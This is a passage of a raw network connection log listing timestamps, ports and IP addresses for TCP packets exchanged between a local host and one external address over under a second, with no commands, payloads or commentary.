Oct 19, 2024 03:37:08.188998938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.189016104 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.189058065 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.211595058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.214811087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.214819908 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.214827061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.214832067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.214837074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.214978933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215002060 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.215010881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215032101 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.215112925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215167999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.215174913 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215184927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215225935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.215511084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215555906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215565920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215595961 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.215919018 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215961933 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.215976954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.215990067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216033936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.216093063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216104031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216116905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216155052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.216450930 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216499090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.216507912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216520071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216552973 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.216590881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216603041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216656923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.216737032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216798067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216839075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.216840982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216942072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216953039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.216979027 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.217060089 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.217111111 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.217137098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.217148066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.217185974 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.231550932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.231657028 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.257435083 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.257445097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.257451057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.257599115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.306127071 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.308552980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308608055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308618069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308659077 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.308693886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308705091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308713913 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308743000 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.308753967 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.308870077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308912992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308923006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.308958054 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.334960938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335005999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335009098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.335019112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335073948 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.335093975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335105896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335143089 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.335156918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335242987 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335257053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335289001 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.335309982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335320950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335351944 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.335365057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335410118 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.335510015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335556984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335566998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.335593939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336026907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336071014 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336086988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336105108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336148024 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336241007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336251974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336261988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336291075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336509943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336549044 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336570978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336622953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336637020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336663008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336667061 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336704016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336716890 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336740971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336781025 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336817026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336843014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.336889982 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.336961985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.337055922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.337065935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.337097883 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.337165117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.337203979 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.337212086 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.337214947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.337258101 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.356070995 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.377593994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.377612114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.377619982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.377629995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.377762079 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.397264957 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.413430929 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.429028988 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429045916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429074049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429084063 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429095984 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429111004 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.429135084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429145098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.429147959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429177999 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.429231882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429241896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.429284096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455195904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455221891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455270052 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455353022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455368996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455379009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455396891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455404997 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455415964 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455642939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455652952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455662966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455692053 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455714941 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455730915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455746889 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455787897 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455882072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455890894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.455933094 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.455956936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456003904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456015110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456068039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456140041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456186056 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456197977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456208944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456262112 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456342936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456372976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456383944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456423998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456592083 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456641912 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456664085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456674099 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456711054 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456720114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456728935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456767082 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456840992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456851006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456890106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456891060 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.456949949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.456959009 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457005978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.457093000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457149029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.457166910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457205057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457232952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457252026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.457289934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457331896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457344055 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.457350969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.457386971 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.462110996 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.497605085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.497637033 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.497668028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.497693062 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.500396013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.524394035 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.529247999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.537882090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.548990011 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549006939 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549017906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549027920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549037933 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549051046 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.549076080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.549168110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549177885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549187899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549197912 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549213886 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.549251080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.549274921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549287081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.549331903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.575644016 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575660944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575673103 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575702906 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.575704098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575715065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575726032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575732946 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.575761080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.575885057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575895071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575905085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575937033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.575974941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575975895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.575987101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.575998068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576054096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576159000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576176882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576185942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576208115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576231956 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576368093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576378107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576389074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576421976 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576440096 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576488972 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576493025 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576504946 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576539993 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576582909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576591969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576631069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576642990 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576664925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576699018 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576741934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576751947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576793909 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576805115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576813936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576852083 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.576898098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576908112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576940060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.576948881 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.577004910 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577016115 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577052116 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.577150106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577161074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577169895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577197075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.577208042 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.577261925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577279091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577290058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.577318907 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.617672920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.617685080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.617695093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.617718935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.617742062 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.632199049 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.637110949 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.644877911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.668962955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669150114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669183969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669194937 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669204950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669215918 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669225931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669228077 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.669261932 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669285059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.669303894 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.669307947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669320107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669328928 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.669364929 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.694166899 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.695611000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.695677996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.695684910 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.695689917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.695732117 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.695749044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.695761919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.695804119 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.695997953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696008921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696019888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:08.696058035 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:08.696063995 CEST	9000	49705	213.109.202.97	192.168.2.5
